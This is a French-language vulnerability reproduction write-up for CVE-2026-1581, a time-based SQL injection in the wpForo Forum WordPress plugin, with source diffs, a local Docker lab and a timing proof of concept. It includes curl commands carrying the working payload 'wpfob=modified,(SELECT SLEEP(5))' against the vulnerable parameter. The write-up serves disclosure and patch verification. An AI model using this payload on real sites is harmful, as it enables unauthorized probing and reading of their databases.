
Reproduit CVE-2026-1581, une injection SQL non authentifiée basée sur le temps dans wpForo Forum <=2.4.14, avec un laboratoire Docker et un PoC pour démontrer la vulnérabilité et vérifier le correctif.
| Champ | Détail |
|---|
| ID CVE | CVE-2026-1581 |
| Plugin | wpForo Forum |
| Versions affectées | <= 2.4.14 |
| Version corrigée | 2.4.15 |
| Type de vulnérabilité | Injection SQL basée sur le temps non authentifiée (ORDER BY) |
| Score CVSS | 7.5 (Élevé) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 est une vulnérabilité d'injection SQL basée sur le temps non authentifiée dans le plugin wpForo Forum (<= 2.4.14). Le paramètre wpfob est utilisé dans une clause ORDER BY avec uniquement une assainissement de texte appliqué, permettant à un attaquant non authentifié d'injecter des expressions SQL arbitraires et de lire des données depuis la base de données.
L'éditeur a corrigé ce problème dans la version 2.4.15 en remplaçant sanitize_text_field() par wpforo_sanitize_orderby(), qui applique une liste blanche contextuelle.
À exécuter uniquement en localhost + Docker Compose.
Le PoC est une preuve de temporisation basée sur le temps pour démontrer la différence entre les versions vulnérable et corrigée.
Ne pas utiliser contre un système sans autorisation explicite.
Preuve de version : La page /community/ charge /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vulnérable) vs 2.4.15 (corrigée).
Preuve de code : sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Preuve de comportement : wpfob=modified,(SELECT SLEEP(5)) provoque un délai d'environ 5 s sur la version vulnérable ; la version corrigée répond presque au niveau de référence.
L'avis CVE indique uniquement qu'il s'agit d'une injection SQL basée sur le temps via le paramètre wpfob, corrigée dans la version 2.4.15. Au moment de l'analyse, aucun PoC public n'était disponible.
Cette analyse a donc été construite par différenciation du code source entre les versions 2.4.14 et 2.4.15, en traçant le paramètre depuis l'entrée HTTP jusqu'à l'assainissement, puis jusqu'au point où il est utilisé pour construire la requête SQL — afin de comprendre la cause racine et de reproduire le problème.

wpfobEn commençant par une recherche de wpfob dans le code source, il a été constaté que la page Recent prend la valeur directement d'un paramètre GET et l'assigne comme argument orderby.

Vulnérable (2.4.14) — themes/classic/recent.php :
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Corrigé (2.4.15) — même fichier, assainisseur remplacé :
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
Pourquoi se concentrer sur
recent.php? Parce que c'est une route déclenchable oùwpfobest assigné directement à$args['orderby'].
ORDER BY ...Une fois $args['orderby'] défini, il circule dans le constructeur de requêtes de wpForo pour construire la clause ORDER BY.
Concaténation ORDER BY (vulnérable 2.4.14)
classes/Topics.php :

classes/Posts.php :

Explication
sanitize_text_field() ne fait que supprimer/nettoyer la chaîne — il n'applique pas de liste blanche des noms de colonnes autorisés.orderby est concaténé directement dans ORDER BY <orderby>, un attaquant peut injecter des expressions SQL arbitraires dans la position ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()La version 2.4.15 introduit un assainisseur de liste blanche contextuelle qui renvoie la valeur par défaut si l'entrée n'est pas dans la liste autorisée :

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — utilise wp-cli pour installer WordPress, installer le plugin, créer la page /community/ avec le shortcode [wpforo], configurer les permaliens, générer .htaccess, et créer des artefacts de vérification.En lisant le code source, wpfob est utilisé explicitement sur la page recent :
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedAu moins 1 sujet et 1 message doivent exister avant le test.
ORDER BY, et aucun délai n'est observé — un faux négatif.Au moins 1 sujet et 1 message sont requis.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Résultat attendu
attack_vuln ≈ baseline_vuln + ~5 sattack_patched ≈ référence (aucun délai)
8081 (vulnérable), 8082 (corrigé)docker-compose.ymlscripts/seed-wp.shDepuis le dossier du projet :
docker compose up -d
Vérifier que les deux instances sont accessibles :
http://localhost:8081/community/http://localhost:8082/community/Et la page recent :
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Requis pour la reproductibilité et pour éviter les faux négatifs.
# 1) Vérifier les compteurs (vulnérable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) Insérer 1 sujet et 1 message (vulnérable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Pour l'instance corrigée, remplacez seed_vuln par seed_patched.
L'utilisation d'un environnement virtuel est recommandée :
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# vulnérable
python3 poc.py http://localhost:8081
# corrigé
python3 poc.py http://localhost:8082

docker compose down -v